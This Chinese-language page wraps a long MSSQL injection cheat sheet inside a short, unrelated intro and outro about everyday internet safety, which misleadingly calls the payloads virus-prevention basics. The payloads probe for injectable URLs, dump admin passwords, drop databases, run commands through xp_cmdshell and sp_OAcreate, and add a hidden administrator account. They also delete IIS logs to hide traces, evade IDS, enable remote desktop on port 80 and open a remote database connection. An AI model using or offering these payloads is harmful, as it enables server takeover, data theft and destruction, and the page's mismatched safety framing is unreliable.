随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..tableName为表名 and 1=(select @@VERSION) //MSSQL版本 And 1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员 and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限 and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限 and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1, 2, 3.... ;declare @d int //是否支持多行 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在 and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除 添加和删除一个SA权限的用户test:(需要SA权限) exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addsrvrolemember test,sysadmin 停掉或激活某个服务。 (需要SA权限) exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule' 暴网站目录 create table labeng(lala nvarchar(255), id int) DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1) —————————————————————————————————————————————————————分割 DOS下开3389 并修改端口号 sc config termservice start= auto net start termservice //允许外连 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f //该3389端口到80 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f SQL Server 判断是否可注射: http://www.targer.com/article.asp?id=6 http://www.targer.com/article.asp?id=6' http://www.targer.com/article.asp?id=6 and 1=1 http://www.targer.com/article.asp?id=6 and 1=2 http://www.targer.com/article.asp?action=value' and 1=1 http://www.targer.com/article.asp?action=value' and 1=2 searchpoints%' and 1=1 searchpoints%' and 1=2 确定数据库类型: http://www.targer.com/article.asp?id=6 and user>0 http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0 查询当前用户数据信息: article.asp?id=6 having 1=1-- 暴当前表中的列: article.asp?id=6 group by admin.username having 1=1-- article.asp?id=6 group by admin.username,admin.password having 1=1-- 暴任意表和列: and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1 and (select top col_name(object_id('admin'),N) from sysobjects)>1 暴数据库数据: and (select top 1 password from admin where id=N)>1 修改数据库中的数据: ;update admin set password='oooooo' where username='xxx' 增添数据库中的数据: ;insert into admin values (xxx,oooooo)-- 删数据库: ;drop database webdata 获取当前数据库用户名:and user>0 获取当前数据库名:and db_name()>0 获取数据库版本:and (select @@version)>0 判断是否支持多句查询:;declare @a int-- 判断是否支持子查询:and (select count(1) from [sysobjects])>=0 数据库的扩展存储过程:exec master..xp_cmdshell 查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\' 判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll' 删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell' 在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限: ;declare @s int ;exec sp_oacreat 'wscript.shell',@s ;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\' 判断当前数据库用户名是否拥有比较高的权限: and 1=(select is_srvrolemember('sysadmin')) and 1=(select is_srvrolemember('serveradmin')) and 1=(select is_srvrolemember('setupadmin')) and 1=(select is_srvrolemember('securityadmin')) and 1=(select is_srvrolemember('diskadmin')) and 1=(select is_srvrolemember('bulkadmin')) 判断当前数据库用户名是否为DB_OWNER: and 1=(select is_member('db_owner')) 在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息, 只需要PUBLIC权限就可以对此表进行SELECT操作: and (select top 1 name from master.dbo.sysdatabase order by dbid)>0 and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0 删除日志记录: ;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt' 替换日志记录: ;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt' 获取WEB路径: ;declare @shell int ;exec master..sp_oamethod 'wscript.shell',@shell out ;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt 利用XP_CMDSHELL搜索: ;exec master..xp_cmdshell 'dir /s d:/index.asp' 显示服务器网站配置信息命令: cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root 利用XP_REGREAD可用PUBLIC权限读取: ;exec master.dbo.xp_regread hkey_local_machine, 'system\currentcontrolset\services\w3svc\parameters\virtual roots\' '/' SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。 3、DSqlHelper 检测权限SYSADMIN: and 1=(select IS_SRVROLEMEMBER('sysadmin')) serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。 检测XP_CMDSHELL(CMD命令): and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell') 检测XP_REGREAD(注册表读取功能): and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread') 检测SP_MAKEWEBTASK(备份功能): and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask') 检测SP_ADDEXTENDEDPROC: and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc') 检测XP_SUBDIRS读子目录: and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs') 检测XP_DIRTREE读子目录: and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree') 修改内容: ; UPDATE 表名 set 字段=内容 where 1=1 XP_CMDSHELL检测: ;exec master..xp_cmdshell 'dir c:\' 修复XP_CMDSHELL: ;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 用XP_CMDSHELL添加用户hacker: ;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add' XP_CMDSHELL把用户hacker加到ADMIN组: ;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add' 创建表test: ;create table [dbo].[test] ([dstr][char](255)); 检测表段test: and exists (select * from test) 读取WEB的位置(读注册表): ;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);-- 爆出WEB的绝对路径(显错模式): and 1=(select count(*) from test where dstr > 1) 删除表test: ;drop table test;-- 创建查看目录的表dirs: ;create table dirs(paths varchar(100), id int) 把查看目录的内容加入表dirs: ;insert dirs exec master.dbo.xp_dirtree 'c:\' 爆目录的内容dirs: and 0<>(select top 1 paths from dirs) 备份数据库DATANAME: declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';-- 删除表dirs: ;drop table dirs;-- 创建表temp: ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 把驱动盘列表加入temp表: ;insert temp exec master.dbo.xp_availablemedia;-- 删除表temp: ;delete from temp;-- 创建表dirs: ;create table dirs(paths varchar(100), id int);-- 获得子目录列表XP_SUBDIRS: ;insert dirs exec master.dbo.xp_subdirs 'c:\';-- 爆出内容(显错模式): and 0<>(select top 1 paths from dirs) 删除表dirs: ;delete from dirs;-- 创建表dirs: ;create table dirs(paths varchar(100), id int)-- 用XP_CMDSHELL查看目录内容: ;insert dirs exec master..xp_cmdshell 'dir c:\' 删除表dirs: ;delete from dirs;-- 检测SP_OAcreate(执行命令): and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate') SP_OAcreate执行CMD命令: ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add' SP_OAcreate建目录: ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111' 创建一个虚拟目录E盘: ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"' 设置虚拟目录E为可读: ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse' 启动SERVER服务: ;exec master..xp_servicecontrol 'start', 'server' 绕过IDS检测XP_CMDSHELL: ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 开启远程数据库1: ; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 开启远程数据库2: ;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。
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